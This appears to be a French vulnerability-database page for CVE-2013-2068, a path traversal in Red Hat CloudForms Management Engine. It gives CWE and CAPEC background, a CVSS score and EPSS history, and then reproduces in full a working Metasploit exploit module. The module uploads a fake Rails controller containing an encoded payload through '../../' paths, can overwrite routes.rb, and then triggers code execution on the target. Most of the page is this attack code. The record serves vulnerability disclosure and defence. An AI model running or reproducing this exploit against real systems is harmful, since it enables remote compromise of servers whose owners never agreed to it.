CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple directory traversal vulnerabilities in the AgentController in Red Hat CloudForms Management Engine 2.0 allow remote attackers to create and overwrite arbitrary files via a .. (dot dot) in the filename parameter to the (1) log, (2) upload, or (3) linuxpkgs method.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.4
AV:N/AC:L/Au:N/C:N/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
76.32%
–
–
2022-03-13
–
–
74.82%
–
–
2023-03-05
–
–
73.08%
–
–
2023-03-12
–
–
–
54.32%
–
2023-06-25
–
–
–
54.94%
–
2023-10-01
–
–
–
59.21%
–
2024-01-07
–
–
–
59.65%
–
2024-02-11
–
–
–
59.65%
–
2024-06-02
–
–
–
62.43%
–
2024-08-25
–
–
–
59.71%
–
2024-10-27
–
–
–
53.46%
–
2024-12-22
–
–
–
58.43%
–
2025-01-19
–
–
–
58.43%
–
2025-03-18
–
–
–
–
76.87%
2025-03-18
–
–
–
–
76.87,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2013-12-23 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize
super(
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in the "linuxpkgs"
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
It uploads a fake controller to the controllers directory of the Rails
application with the encoded payload as an action and sends a request to
this action to execute the payload. Optionally, it can also upload a routing
file containing a route to the action. (Which is not necessary, since the
application already contains a general default route.)
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2068'],
['CWE', '22'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => true,
'Targets' =>
[
['Automatic', {}]
],
'DisclosureDate' => 'Sep 4 2013',
'DefaultOptions' =>
{
'PrependFork' => true,
'SSL' => true
},
'DefaultTarget' => 0
)
register_options(
[
Opt::RPORT(443),
OptString.new('CONTROLLER', [false, 'The name of the controller']),
OptString.new('ACTION', [false, 'The name of the action']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
], self.class
)
register_advanced_options(
[
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
], self.class)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ping.html")
)
if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def exploit
controller =
if datastore['CONTROLLER'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['CONTROLLER'].downcase
end
action =
if datastore['ACTION'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['ACTION'].downcase
end
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end
if datastore['ROUTES']
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../config/routes.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end
end
print_status("Sending execute request to #{target_url(controller, action)}...")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, controller, action)
)
end
def upload_file(filename, data)
res = send_request_cgi(
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
'filename' => filename,
'md5' => Rex::Text.md5(data)
}
)
return res
end
def target_url(*args)
(ssl ? 'https' : 'http') +
if rport.to_i == 80 || rport.to_i == 443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end + normalize_uri(target_uri.path, *args)
end
end
Products Mentioned
Configuraton 0
Redhat>>Cloudforms_management_engine >> Version 5.1